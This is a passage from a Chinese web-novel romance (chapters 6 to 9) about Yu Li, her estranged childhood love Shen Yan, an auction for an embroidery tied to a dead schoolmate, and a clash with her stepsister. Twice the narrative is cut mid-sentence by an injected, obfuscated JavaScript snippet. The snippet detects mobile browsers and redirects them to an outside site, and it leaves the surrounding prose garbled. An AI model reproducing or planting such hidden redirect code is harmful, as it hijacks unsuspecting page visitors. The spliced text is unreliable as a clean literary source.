她会把改短的校服裙重新放到及膝的位置,又将挑染得五彩斑斓的头发染回去,柔顺的别在耳后,走在沈砚身旁时,连说话声音都刻意压着嗓子,显得格外娇柔乖顺。 只因为喻梨缠着沈廷屹问哥到底喜欢哪款的时候,沈廷屹被她缠得烦不胜烦,一句‘反正肯定不是你这样的?’把她气得跳脚。 最后被她实在缠烦了,沈廷屹又扔下一句:“还能什么样,男生不都喜欢乖的,温柔的?” 喻梨就开始学习怎么变得乖一点,温柔一点。 但实在跟她内心世界的秩序不符,很有股东施效颦、不伦不类的味道。 沈廷屹每每看到,总忍不住嗤笑。 沈砚打小作为沈家继承人培养,行程比沈廷屹忙碌得多,一年有一半的时间,在国外交流学习,偶尔回到学校,喻梨就像闻着花蜜蜜蜂,扑朔着小翅膀缠在沈砚身边。 沈砚对她一直不冷不淡。 毕竟没有哪个男生能够忍受从小到大,被长辈们耳提面命,身边有个小姑娘,需要他特殊照顾,是他的责任也是他的包袱。 大人们口中隐晦提起的婚约,更像一种枷锁,沈砚内心没有丝毫想要服从的意思,大多时候,也就是面上应一应,且因为喻梨,他逐渐更喜欢待在国外。 起初,大人们对他说的最多的是:“你对喻家那个小姑娘好点儿。” 年轻的沈砚烦不胜烦:“还要怎么好,哪次闯祸不是我在后面给她擦屁股!” 后来,喻梨追在他身后,对他说的最多的,也是委屈巴巴、可怜兮兮的一句;‘沈砚,我也没有那么糟糕吧,你可不可以对我好点儿?’ 他那时已经极为厌烦她了,看她目光冷酷,与她多说一句话仿佛都是浪费时间,只不留情面的掰开她拽着自己衣角的手指,将她精心准备的生日礼物丢到地上,转身离去。 7. 第 7 章 同样的夜晚。 沈砚跟姐夫许志恒在沈家室内游泳池游泳。 两个人比赛,沈清抱着儿子坐在旁边躺椅上,玩着儿子的手指头,让他学招财猫,笑眯眯得说:“快,给爸爸加油,爸爸要输了!” 三岁的许佑正是学说话的年纪,眼睛一眨不眨得望着水里的两条矫健黑影,似乎分不清哪个时爸爸,哪个是舅舅,只伸长脖颈往里看,图囵着跟妈妈奶声奶气地念:“加油油。” 下一秒,泳池泛起水花,沈砚舅舅的脑袋第一个从水里钻出来,他脖颈长,撑着手肘从巨型泳池挑起时显出惊人爆发力,肩宽腿长,肤色偏冷白,却完全不显孱弱,腿部跟肘部肌肉精壮有力,腹部码着整齐的几块精薄肌肉。 立刻有佣人递来热毛巾,沈砚随手接过来,将身上水珠擦干,看着笑嘻嘻的冲他还在说加油的许佑,心情很好的抬手将侄儿抱到胸前:“走,舅舅带你玩水。” 许志恒比他大一轮,肤色呈健康的小麦色,这会儿在他身后,一并擦拭身体一边笑道:“老了,再年轻点儿,不至于输你好几秒。” 又忽然注意到沈砚背部疤痕,视线停顿:“阿砚什么时候受的伤?” 沈清顺着丈夫视线望过去,沈砚背脊除确实有一道凸出疤痕,沿着背阔肌的地方,有很小的一块月牙状的凸起,是明显的痂痕。 沈清一下子想起来:“他小时候被个小姑娘从树上掉下来砸到,疼了整整半个月。” 沈砚已经把小侄儿抱在泳池边用脚扑腾,闻言微微皱眉。 许志恒坐在老婆旁边的躺椅上,喝佣人送来的椰汁,沈砚跟他不同,他是赤手空拳从华尔街一步一步打出来的身家,沈砚与沈清自小养尊处优,浑身上下,透着被人精心呵护的矜贵气质:“还有这种事?” 沈清笑:“我弟弟很少这么热心肠的,当时能主动接从树上掉下来的小姑娘,我们都觉得不可思议。” 沈砚抱着侄儿扑腾水池,温和宠溺,耐心十足,对身后沈清的话似乎恍若未闻。 等回到酒店套房,沈砚冲完澡,在衣帽间换上睡袍,无意间瞥见背部被自己遗忘多年的疤痕,动作便滞了片刻,但也只是片刻,很快拧着眉将丝质的睡袍裹上。 只是再入睡,梦里恍惚多了一个身影,那是年幼的时候,有个小女孩从窗口大胆地爬进来,小心翼翼地抚摸他受伤的背脊:“沈砚,你疼不疼,要不,我给你吹吹?” 荒唐…… 已经连续一个多星期,蒋静姝等在酒店门口,拧着袋子,执意要归还沈砚那件西装。 沈砚经司机龚叔提醒,从后排车窗望过去,蒋静姝今日穿了件浅蓝色格子衬衫,配一条水系过的牛仔裤,扎着简单的马尾,V领衬衫将她白皙的脖颈拉得很长,显出女性独树一帜的柔弱和纤细,书卷气很浓,像个气质清纯的大学生。 只可惜大约怕是被人认出来,她戴着口罩,身后有助理替她撑一把遮阳伞,与学生气质形成反差感的,是浑身上下,那股被人精心娇养过的软绵娇柔感。 沈砚向来讨厌蠢货,尤其是喜欢自作聪明的蠢货,蒋静姝从那个夜晚起,无法再有出入这间酒店的资格,将她偷偷放进沈砚房间的相关工作人员也一应被开除,依照沈砚的性格,这个女人不应该再有机会出现在他面前。 但大约蒋静姝那双眼睛实在像极了方苒,又或者昨晚那场被沈砚决定快速遗忘的梦境,沈砚今日让龚叔将车停在姜静姝身旁。 蒋静姝还有点没反应过来,原本已经等得十分无聊,后悔听徐凤芝的话做个没脸没皮的望夫石,车窗降下时,对上沈砚轮廓英俊的侧脸,又忍不住心跳如鼓,涩然道:“沈先生,我只是想归还您的外套。” 沈砚看她的目光平静透彻,他是标准的桃花眼,卧蚕微深,眼皮带一层薄薄的褶皱,原本这样的眼睛,看谁都应该是脉脉的含情,但沈砚身上那副难以接近的上位者气度太深刻,眼神又实在洞若观火,仿佛一眼能将她心思堪破,蒋静姝瞬间有种无所遁形的感觉,为自己拙劣的借口生出几分紧张。 好在沈砚并不打算拆穿她,只淡淡凝视她几秒说:”上车。” 蒋静姝顿时狂喜,努力压抑住翘起的唇角,由助理帮她拉开后车门,弯腰钻进去。 沈砚车内隐约带有某种木质香味,淡雅高级。 蒋静姝在这辆车内,曾陪伴沈砚在深夜的半山腰,看过城市的万家灯火,在展览馆,逛过几次私人艺术展览。也在某大厦顶楼的天台,赏过一场梦幻的烟花。 极尽的浪漫,所有热恋情侣应该做的事,蒋静姝都从身旁沈砚身上得到过,令她生出隐约的幻觉,才在喻梨的‘中伤’下,做出错误判断。 但其实原本,沈砚并不需要她多做什么。 徐凤芝安排她与沈砚相遇的第一次,是在一场宴会,蒋静姝那日穿得并不打眼,但是如徐风芝所料,整场宴会,沈砚目光在她身上倾斜过三次,就在蒋静姝骨起勇气,准备向这位宴会场上绝对的众星捧月者要微信时,沈砚不知何时已经偷偷离席,蒋静姝遍寻不着,无功而返,十分泄气。 过了大约一星期,蒋静姝差点儿放弃时,接到他助理电话,问她愿不愿意赏脸,同沈先生吃一顿便饭。 蒋静姝心提到嗓子眼,应约了。 见面那天,沈砚衣着简单,白衬衫、黑色西裤,浑身上下,除了手腕上那串佛珠,并无多余配饰,露天餐厅,他五官在蓝天白云下褪去一种久居高位的疏离冷漠,优雅矜贵间隐约透着某种纵容感。 但他开门见山说的第一句话,并不纵容,蒋静姝还记得他当时撩起眼皮看她时的冷酷口吻:“蒋小姐,你演技好吗?” 蒋静姝愣了一下。 随即,沈砚抬起手指,推了一份合约给她,十分简单易懂,问她可否扮演一位故人,不需要台词,只需要偶尔抽空就行。 蒋静姝在那一瞬间清晰的感觉到一种羞辱,她需要扮演的自然是方苒,徐凤芝用心培养她的一言一行,也是在向曾经的方苒靠拢,这是圈内极少数人知道的隐秘。 学生时代的沈砚,曾有一位极深刻的恋人,遭到沈家排斥,众目睽睽之下,从教学楼高处跳下。 这位坐拥沈家大半财富的掌权人,生意遍布影视、房产、汽车、科技、以及一些国内垄断行业,没有人说得出沈家财富的具体数字,多少名门贵女趋之若鹜,蒋静姝在感到被羞辱的同时,明白如同徐凤芝所说,这是她接近沈砚的唯一机会。 其后三个月,蒋静姝按照沈砚要求的,偶尔与对方见面。 沈砚心情好的时候,甚至会亲自开车去蒋家接她,轻易的让蒋静姝生出一种错觉,她在跟沈砚热恋。 但真正跟沈砚单独相处时,她又隐约能读懂这个男人顶级皮囊下的绝对冷酷,徐凤芝教她的那套对付男人的欲拒还迎那套根本不管用,她稍微露出一丁点儿骄矜姿态,沈砚就能随时结束,可以一个月不联系她。 这段奇怪的关系里,蒋静姝逐渐明白,沈砚是绝对的掌控者,不需要她做任何多余的事情。 大部分时间,沈砚仿佛需要的,只是一个替代品的陪伴以及对方的绝对服从,他看她的目光不旖旎,不暧昧,不令人生出丝毫遐想。 譬如此刻,上车后,蒋静姝刚想将手上那件交给干洗店精心整理过的西装递过去,说几句打破此刻尴尬的话,沈砚仿佛没有看到她动作,也压根儿不在意一件曾经被他扔掷过的昂贵西装,只翻了一页手上的文件,问她:“下午有空么?” 蒋静姝慌忙改口:“有……有的。” 沈砚便合上文件说:“陪我去场拍卖会。” 蒋静姝忙不迭点头,随即想起自己今日打扮,大约是不适合高级拍卖会的场合:“我需要换身衣服吗?” 沈砚似笑非笑:“不用,你不是特意打扮过?” 蒋静姝脸瞬间羞得通红,她在沈砚下榻的酒店门口守株待兔了一个星期,日日等待,最后刻意换上学生时代的衣衫,大约与沈砚记忆中的方苒重叠,沈砚今日才会大发慈悲的停驻在她面前。 蒋静姝内心,升起密密麻麻的羞辱感,但光是这三个月,她因为沈砚得到的诸多资源,又好像可以麻痹她那种羞耻感。 这场私人拍卖会,喻梨蹭的是陆哲的邀请卡。 陆二少投资很多东西,一些活动找不到他人的时候,会将邀请函寄到他名下的公司,喻梨也是无意间看到寄来的展册上有一副刺绣图,作者的名字叫方晴。 陆哲倒对这场拍卖会兴致缺缺,一身连帽卫衣就过来了,眼睑下黑影有些重,显然是刚睡醒被喻梨电话call醒的,跟周围盛装高雅的老钱们比,显得有些不修边幅的轻浮。 “你什么时候对这种拍卖会感兴趣了?”陆哲打着呵欠,语调也是懒洋洋的。 “就是……有感兴趣的展品。”‘两个人边走边入场,喻梨白皙的摩挲着图册,神情难得有几分紧张。 陆哲余光瞟她一眼,将展册从她手心抽出来,是一幅猫儿的刺绣品,瞧着倒有几分苏绣的影子。 “绣品?”随意看了一眼卖品介绍,“有客户喜欢这个,拍来送客户?”陆哲实在想不出喻梨能有这方面的艺术修养。 “不是。”喻梨下意识反驳,又忽然反应过来,“你觉得我能拍下来?” “一幅刺绣而已,也不算什么名家,不过是有些历史感,能有多贵?你要喜欢,帮你点天灯。” 喻梨原本没什么把握,这种级别的拍卖会,都是老钱们的玩乐,有些卖品轻轻松松在玩笑间就拍出9位数天价,她原本只是想来看看而已。 “你觉得价格不会很贵?” “看你预算多少,这种小玩意儿,估计只是卖家的添头,一看就不是今天的重头戏。” 喻梨的眼睛便亮了一下:“那我待会儿试试。” “嗤……”让陆哲觉得小家子气,“都说了爷帮你点天灯,你要真喜欢,今晚上就挂你家墙上。” 没多久,陆哲就为这句话付出代价。 沈砚与蒋静姝几乎是在那副刺绣展出的前两分钟入场的。 北城圈就这么大,鲜少有人不认识沈砚的,等沈砚闲庭若步的在前方VIP的座位落座时,喻梨清晰地听出周遭的咬耳朵声。 “我说那里怎么空了两个位置,原来是留给太子爷。” “沈砚倒是很少亲自参加这种小型私人拍卖会了,看来是有心怡的宝贝。” “说到宝贝,沈太子最近换口味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640695|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,旁边的女人,一看就是个大学生吧,前段时间不是听说跟蒋家那个女儿……” “你看清楚点儿,那个就是蒋家女儿。” 姜静姝的侧脸,看起来是真的很像方苒。 轮廓小巧,肤色雪白细腻,也是扎着马尾的样子,格子衫,牛仔裤,从背影看过去,分明是少女时期的方苒。 有些恍惚的,喻梨忽然想起那个下午,被方苒忽然拉走逃课的样子。 少女脖颈处几缕碎发黑而亮,衬得脖子肌肤清透白皙,她拽她的手腕很细,但指腹有轻微的茧子,磨得喻梨手背微微发痒。 先一步的,是方苒先将书包从后墙扔出去:“爬,我踩你肩膀先上去,然后拉你上来。” 喻梨惊呆了,以至于分明是她这个学渣惯用的逃课流程,但对面的人换成了沉默乖巧的学霸方苒,她就有些反应不过来。 “怎么,不是说要我教你吸引沈砚的方法吗?蹲下。”少女微笑着下了指令。 有很长一段时间,喻梨看方苒,像是隔了一层浓雾。 表面上,她是柔弱的、可欺的,家世可怜,只会拼命读书的被贵族学校特招的贫困生,但真正跟她交手的时候,傲娇的小喻梨屡屡受挫。 方苒笑起来嘴角总带着一丝孩子气的邪气,目光狡黠,若无其事给她下指令的时候,很懂一些话术,仿佛知道她软肋在哪里,然后反复揉搓,拿捏,懂得怎样在不惹怒她之前,轻易让她就范。 很少有人会承认自己的愚笨,彼时,金字塔尖的喻梨小公主要风得风,要雨得雨,一帆风顺的人生里,唯一的挫折是沈砚忽然的冷淡,面对身份与她从不对等的的方苒,自然从未觉得比她笨拙过。 但多年后喻梨回忆跟这个女生的所有交集,年幼自己确实是愚蠢又幼稚的那一个。 反反复复,喻梨做同样一个梦,迷雾里,穿棉布白裙的女孩子冲她招手:“来,喻梨,跟上我。” 是在夜深的时候,帐篷不远处的草丛里,穿棉布白裙的少女捧给她一只安放着萤火虫的鸭蛋壳,萤火虫在薄透的蛋壳里一闪一闪的亮,映照着两个少女比萤光还要透亮的双眼。 是在夏季绵长又炎热的午后,她把一根廉价的棒冰猛得塞进她嘴巴里,笑她生气的时候像只受惊的土拨鼠。 是周末看得似懂非懂的文艺电影,是她念的晦涩的英文诗,是她妈妈炖得软烂熟透的红烧肉,是她似有若无的引诱,来,喻梨,我带你去更好玩的地方…… 而那个下午,她带她逃课去看苏绣的展览,‘’我小时候。”少女说,“家里没有那么穷的,我奶奶是有名的刺绣师,会教我打线结,你知道怎么打出不留痕迹的线结吗?” 喻梨摇头。 “你真笨。”少女讥笑说。 我是挺蠢的,但是有人比我更蠢。喻梨将落在姜静姝背影的目光收回,垂下眼帘,冷笑着想。 她有预感,沈砚很有可能也是为了这副绣画而来。 这副名为《逗猫》的苏绣图,起拍价格是20万。 场上陆续有人开始出价。 陆哲看一眼垂着眼帘,隐约有些失落的喻梨,想起方才的承诺,大咧咧地举牌,将价格抬到40万。 喻梨原本心思有些恍惚,陆哲冷不防的出价,她便有些受惊似的拦住他:“超我预算。” 被陆哲嗤笑:“当这个季度给你的奖金,一副刺绣画而已,也值得你心不在焉,怎么,一碰上某些人,你就跟丢了魂儿似的,就这么点出息。” 沈砚那边一直没出价。 但陆哲冷不丁的翻了一翻价格,依然让方才出价的几方偃旗息鼓,毕竟不算是名家作品,只是个名不见经传的绣师,40万已经超出值得收藏的价值。 姜静姝忍不住好奇往后看了一眼,想看看出价的是谁,等看见出价的是陆哲跟喻梨,表情顿时凝住,下意识看了身旁气质疏懒的沈砚一眼。 沈砚没有回头,仿佛并不在意抬价者,只是抬了一下手,做了一个翻翻的手势,价格瞬间被抬到80万。 几乎是在沈砚出价的同时,喻梨将陆哲想点天灯的手势按压下去,陆哲是个特别容易上头的人,方才一看场内没人跟他争,狂傲地就要点天灯,被喻梨抱住胳膊按了下去。 拍卖师报出沈砚出价的那80万时,陆哲的手也跟着抖了一下。 抖得不是80万的数字,堂堂陆二少,还不至于连80万都拿不出,抖得是出价的人是沈砚。 但沈砚出价了,意味着是势在必得。 全场都看见的陆二少要点天灯的动作,又很快被沈太子80万的价格震惊,一时拍卖场在拍卖师清晰的报价声后,陷入一种诡谲的沉寂。 沈砚这才仿佛终于从姜静姝的眼神里,嗅到一丝不同寻常。 有些漫不经心的,他回头看了一眼。 这种私人小型拍卖会,邀请的客人本就不多。 也就隔着三四排的距离,喻梨正张牙舞爪地按住陆哲,仿佛按着一只不懂事的二哈。 仿佛年少时,那个女孩子总是跟沈廷屹打闹的模样,如果不是昨晚的梦境,沈砚几乎已经忘了,有那样漫长的一段时光里,似乎一转身,就会看到打闹的表弟跟咋呼傲娇的女孩。 8. 第 8 章 没有人知道沈砚为什么忽然对一幅名不见惊传的刺绣出手。 但是通常来讲,只要是沈砚看上的东西,很少有人会没眼色,敢与他相争。 拍卖师惯常问了三次,最后确定没人再加价,敲锤的刹那,姜静姝的唇角实在没忍住,偷偷往上翘了一下。 喻梨只想若无其事退出这场竞拍。 在方苒出事后的很多年,她都试图向沈砚解释方苒的事与自己无关,但是就像年轻的沈砚某一天莫名其妙对她冷淡一样,喻梨的任何解释,在沈砚面前,都是苍白的,无意义。 沈砚认定的事,向来不需要听任何解释。 喻梨在一次次的失败里疲惫、麻木,总结出的唯一经验是,避着沈砚走,不要企图去挑战这个疯子。 几乎是拽着陆哲出的拍卖现场。 如果沈砚是个平静的疯子,那陆哲的个性,就是个蠢萌的傻狍子,一根筋到底那种。 果然,喻梨把他拉出去,贴心地递给他台阶,不让他在卖场出丑,他还怪不忿的:“一幅刺绣而已,怎么怕少爷我争不过沈砚?” 喻梨抱着细细的胳膊,忍住翻白眼的冲动,冷静的:“哦,那你现在回去拍。” 陆哲愤愤不平的嚣张气焰就偃旗息鼓,被重新架起来,不上不下:“我……” 喻梨懒得理他,转身去找洗手间。 拍卖师落锤的下一秒,沈砚就扣上西装起身了。 他做事向来目标明确,既然东西已经拍到手,自然不会久留,后续事情有助理处理。 姜静姝忙不迭跟上他脚步。 喻梨从洗手间出来时,正好撞上追逐着沈砚脚步的蒋静姝。 “喻梨。”她忽然招呼道,说话时身体无意识地往沈砚身边靠了靠,显出某种特有的亲昵。 因为这声招呼,沈砚也被迫停下脚步。 他身材高大,身上带着惯有的上位者气度,轻易的,将并不狭窄的走廊,衬得逼仄压抑起来。 喻梨抬眼,脸上的笑拿捏得很有分寸,仿佛终于注意到他俩似的,亲切道:“静姝姐,沈总,真巧。” 这种笑容她用得很熟练,她是做公关的,任何时候,任何地点,信手拈来,驾轻就熟。 仿佛蒋静姝真是她亲姐,仿佛一个多星期前,沈砚没有刁难过她。 蒋静姝脑子大概被驴踢,忽然细声细气的说:“去检查过了吗?妈妈最近也听到点风声,你男朋友得艾滋的事,让我抽时间问一下你,可你都难得回家,我们都很担心你。” 蒋静姝的演技总是被诟病,吐槽她不光演戏时五官乱飞,配音也让人出戏。 但这会儿,她演技又一下子质的飞越,一段话,说得抑扬顿挫,配上关切的眼神,把一朵娇柔白莲花的人设演绎得十分传神。 在外面,喻梨愿意跟蒋静姝演一出相安无事的戏码,彼此得过且过那种。 但此刻,喻梨眯着眼睛将她重新打量了一遍,确实是非常像方苒的一张脸,但是除了脸,喻梨真是找不出姜静姝身上有方苒万分之一的聪明,否则她怎么敢当着沈砚的面不管不顾地招惹她。 喻梨给她的回答是,突然拽住她手背,狠狠咬了一口。 蒋静姝猝不及防,被她咬得再装不出淑女姿态,惊恐得尖叫:“喻梨,你发什么疯!” 沈砚皱眉,刚想抬手阻止喻梨,喻梨已经放开姜静姝,看着被她咬得破皮的手背,笑眯眯道:“感同身受才叫关心,既然这么关心我,不如你先去医院检查一下,有没有被我传染,嗯?” 蒋静姝小脸倏然间白透了,有些哆嗦地看着手背的伤口,脑子顿时十分混乱,艾滋靠什么传染的,唾液?血液? 她是不是中招了? 喻梨这个碧池! “喻梨。”沈砚终于出声,目光落在她身上,带着威压,“跟她道歉。” 喻梨丝毫不反抗,立刻从善如流:“抱歉,静姝姐,可我太生气了,你怎么能大庭广众,就造谣我得艾滋。”尾音还装得怪委屈的。 “还不是你先造谣我怀……”蒋静姝说着,卡了一下,看一眼身旁沈砚脸色,识趣的没说下去。 几分钟后,姜静姝坐在沈砚豪车后排,看认真为她包扎的沈砚,心里涌出极其细微的,怪异的,被人精心呵护的感觉。 “你没事招惹她做什么?”沈砚娴熟地替她破皮的地方涂上碘伏,动作很轻,说话时,垂着眼帘,桃花眼被遮挡,看不出情绪,气质依旧冰冷,但他手上动作太熟练了,好像这种事练习过无数次,但明明他身上的冷冽的气质,让蒋静姝丝毫不能将这种事跟他这个人联系起来。 姜静姝心里难免密密麻麻的酥痒,好似自己是独一无二的,嗓音不自觉染了一丝撒娇意味:“还不是因为她造谣我那个……”姜静姝咬了一唇,没说下去。 沈砚抬眼看她一眼,眼神淡淡的,依然没什么情绪,显然,不太关心她们姐妹之间互扯花头的事。 蒋靖姝识趣的收回话题,又忽然想到什么,紧张起来:“我……我是不是该去做个检查?会不会真的被喻梨传染,我有点害怕。” 沈砚内心,又涌起那种厌倦感。 蒋静姝除了脸,确实没有丝毫跟方苒相像的地方,那个女孩异常敏感聪慧,绝对不会提这种愚蠢问题。 他这么想着,嘴巴里依然扔出一句安慰姜静姝的话:“不用担心。” “诶?” “喻梨既然敢咬你,说明她没染上,这点你不用担心。” 蒋靖姝的脑子里,浮现出一个大大的问号,她从很早开始,便察觉到沈砚每次提起喻梨时口吻的特殊,但是喻梨敢咬自己,说明自己没染上病毒的逻辑点在哪里? 喻梨那个疯子,有什么做不出来的,说不定是真的染上艾滋,想垃她下水。 沈砚看她依然茫然又紧张的模样,没有再解释的耐心,转而下逐客令:“我让司机送你回去。” 目睹全程的陆哲跟在喻梨屁股后面称赞:“你有时候放下个人素质,有事直接发疯的个性还怪招人喜欢的。” “那你要不要改变一下你的性取向,考虑爱上我?”喻梨回他一个wink。 “啧啧,差一点点,你现在又成功油到我。”陆哲坐上驾驶座,摊摊手,怪可惜似的。 喻梨被他逗笑,但很快,小脸沉寂下来,心里有种说不出道不明的情绪再暗涌。 陆哲启动手刹,明显感觉到她情绪低落。 想了想,他还是问:“我一直没有问你,那个人,我们第一次见面,你问过我,有没有试过被喜欢的人讨厌的滋味,那个人,是沈砚对吗?” 喻梨瘦削的肩膀微微颤抖了一下。 她与陆哲,相遇在澳大利亚一所野鸡大学附近的酒吧。 彼时,喻梨被爆出各种霸凌同学的事,被学校直接开除,喻爸爸那时已经秘密被审查半年,忽然就传出判刑的消息,徐凤芝几乎是在丈夫入狱的第二个月,就接受了蒋然的求婚,嫁给蒋然。 喻梨跟蒋然的关系差到极致,这个被喻父娇纵出来的小姑娘天生带刺,怀疑继父与母亲在父母婚姻存放关系间就有染,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640696|156411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是用尽刻薄话语,讽刺这对新婚夫妇。 徐凤芝时常被她气得跳脚,最后的做法是,干脆利落的将她打包扔去国外的野鸡学校。 喻梨的英语,极度的差,她在贵族学校里,常年跟小姐妹厮混,惯来的不学无数,被扔到国外自生自灭,与人基本交流都困难,吃尽苦头,又习惯毫无节制的花钱,在徐凤芝的不闻不问之下,人生第一次尝试饿肚子的滋味。 她笨拙了花费了很长时间,才找到附近可以打工的,并且不要求流利英语的酒吧。 陆哲那段时间失恋,泡在酒吧里夜夜买醉,喝醉了不断用母语念叨是初恋,知道什么叫做刻骨铭心的初恋吗? 念得多了,蹭酒的同学也只是嘻嘻哈哈的忽悠着他买单而已,没人真的愿意听他翻来覆去的矫情伤感。 某天晚上,陆少爷喝醉在卡座上睡着了,喻梨打扫卫生的时候,没办法,把少爷捡回公寓。 少爷醉醺醺的,不断唠叨着问她,有没有试过被初恋甩的滋味。 搀扶着他的喻梨忍无可忍,任他吧唧摔地上,质问他:“那你没有试过被很喜欢很喜欢的人厌恶的滋味!” 像是一种爆发,或者积攒的情绪发泄。 明明她就不是那种能忍的性格,但是从出事开始,她什么朋友都没有了,连爸爸妈妈都没有了,一个哭诉的对象都没有,她其实可怜得并没有什么所谓的朋友。 唯一的那一个,她觉得有可能会成为朋友的那一个,也跳楼了,每个人,每一项证据,都显示是因为受她欺辱,不堪忍受,逼到绝境,所以跳下去的。 她说:明明不是这样的,他以前对她很好的,她嘴巴馋,他就给她投喂好多好吃的,全是她没吃过的点心,他们家光是做点心的厨子就有两个,京式、广式、苏式,遇见他以前,她就是只土包子,以为世界上所有的东西都可以花钱买到,但他们家里有好多东西根本花钱都买不到,他每次出国交流,都会记得跟她带好吃的,告诉自己,是在哪里尝过的比较不错的甜点,但是也许会因为飞行时间,影响口感。 明明他也对她很好的,她又不是笨蛋,怎么会无缘无故对他死缠烂打,她每次受伤,都是他帮她处理伤口,他从来不对别的女生做那些的,她记得很清楚,有一年运动会,她参加挑高的项目,结果因为场地的关系,崴到脚,是他忽然出现,将她从运动场背到医务室,她痛的在他背上呜呜呜的哭,他一边怒其不争地骂他活该,一边小心翼翼注意不要碰到她肿胀的地方。 她每次做错事,他都嘴巴上严厉一点,但其实只要撒撒娇,他也就轻飘飘的放过她了,她那个时候真的很能闯祸,可是好像惹出再大的祸端,都有他帮忙善后,在她里心里,除了爸爸,没有人对她那么好过,连徐凤芝都没有,她是真的以为他会对他好一辈子。 可是突然他就不理她了,突然他就好像变了一个人似的,再然后,突然他就喜欢一个叫‘方苒’的女孩,她怎么想都想不通,为什么明明是青梅竹马的剧本,她凭什么一下子就变成了无理取闹、死缠烂打的女二号…… 所以那天,她明明是去撕蒋静姝的,但是对方开门被他按在墙上吻的一刹那,她的那点执拗与不甘心又好像在酒精的作用下无限放大,隐约的,她一定要一个结果,要一个解释,要一句休止符,所以才会放任自己。 但是现在,喻梨转头望向陆哲:“唐僧肉我想如果有妖精真的尝到,估计觉得也就是那个味,我以前喜欢一个人,用尽心力,最终无疾而终,甚至连原因都没有跟对方要到,现在想想,真是傻气。” 9. 第 9 章 公司开始忙碌起来。 喻梨近期有接到两笔合作意向,跟客户吃完饭后,都显示对方极有可能是冲着沈清的面子。 且都是大项目,签约成功的话,能赶得上一整个季度的业绩。 喻梨加班加点,应酬客户,参与方案制作,忙碌得宛如一只陀螺。 期间她只处理了两件私事,一是预约了一位收费高昂的妇产科医生,对方的分析结果是,依照现在的科学技术,即使喻梨是RH阴性血型,放弃第一胎的话,后期保胎技术其实早就趋于完善,风险当然有,但绝不会有预想的悲观。 喻梨二话不说,果断预约了手术时间。 第二件事,跟沈清姐打电话,真诚的表示感谢,又客气的约对方吃饭。 沈清乐意赴约,喻梨便挑选了很久的餐厅,有些忐忑的定了一家私厨。 “我回国吃过这么多次饭,只有今天最合口味,还是家乡菜好吃。”沈清心情很好,对她选的地方似乎很满意。 沈清好像一直这样,脾气很好,为人热心真诚,但是小时候也经常捉弄她,喜欢看她因为找不到沈砚着急,她要撒娇讨好她很久,才会被告知沈砚的位置。 “清姐你喜欢就好。” “项目的事你也不用特意感谢我,王总跟季总最后拍板,都是因为你们的方案……”沈清还未说完,餐桌上的电话震动,“抱歉,我先去接个电话。” 隔了会儿,沈清才回来,一脸无奈:“佑佑秩序敏感期,国内的育婴师团队又是新请的,还号称专家,拿我儿子一点办法都没有,我好不容易可以单独出来透透气,也要被他闹。” 喻梨跟着笑:“我好像还不能把清姐跟妈妈的角色联系起来,总觉得您还是那个踩着高跟鞋雷厉风行赶着去开会的沈总。” 沈清叹口气:“等你有小孩的时候就知道了,根本没办法静下心工作,孩子意味着牵挂,永远是女人人生的第一位,我当初也没想到,自己有一天会为他停驻自己的事业,可是每天一睁眼,看到天使宝贝,又觉得自己好幸福啊。” 喻梨手指摩挲了一下水晶杯托,想起肚子里的小黄豆,心里有种说不出感觉,今天的餐有配红酒,她一口都没喝,但明明她已经约好手术时间,小黄豆永远也不可能长成天使宝贝…… “对了,下周五佑佑生日,我们给他办了一个paty,佑佑喜欢你,你记得一定要来。”说着,沈清推了一张邀请函给她。 喻梨张了张嘴推脱:“清姐,我……” “我记得你说过,我是我,阿砚是阿砚。”沈清似乎知道她想说什么,打断她,“最主要还是想给你介绍点朋友认识,小梨子,不要拒绝我。” 喻梨驱车回家时,看了一眼那张奢侈的邀请卡,沈清举行的应该是家宴,地点就定在沈宅,那么一定会碰上沈砚。 不知道沈清知不知道,沈砚早就对外放话,只要有他出现的地方,喻梨是最好不要出现的。 喻梨心神恍惚,再放刹车时慢了一秒,忽然车身震动,被人一下子撞到车尾。 她车才刚修好,不知道被哪个不长眼的撞到,心里一时有气,推开驾驶座的门时脸色也就不怎么好看。 等看到是姜北从跑车的副驾驶下来,喻梨脚步顿住,确认对方极有可能是故意的,气势丝毫不弱:“姜北,你发什么疯?” “我发疯?”姜北恶狠狠地看着她,喻梨以前只觉得他长相挺奶的,没想到狠起来像头狼犊子,忽然一把拽住喻梨纤瘦的胳膊,“我TM疯得过你?那个女的全招了,喻梨,你TM设局弄我?” “这算局吗?一个药瓶而已,如果不是你自己管不住下半身,爱玩,不至于急吼吼的对号入座。”喻梨轻飘飘的。“还有,提醒过你很多次,说话不要老是带上你妈,显得你很妈宝。” “你T……”姜北握着她紧了紧,到底是卡壳,“还往我家里闹,闹到我爸停卡,你倒是挺逍遥快活!” 喻梨被他弄得有些疼:“你放开我!早让你找点正经赚钱的事做,你初中生吗,被你爸停卡也好意思跑大街上嚎!” “正经事?你搞个破公关公司,全城给老子带绿帽,也算正经事?”姜北显然喝了酒,身上沾了浓重的酒气,箍她箍很紧,喻梨被他身上的味道熏得有些想吐。 “你离我远点儿,我想吐。”喻梨脸色有点白。 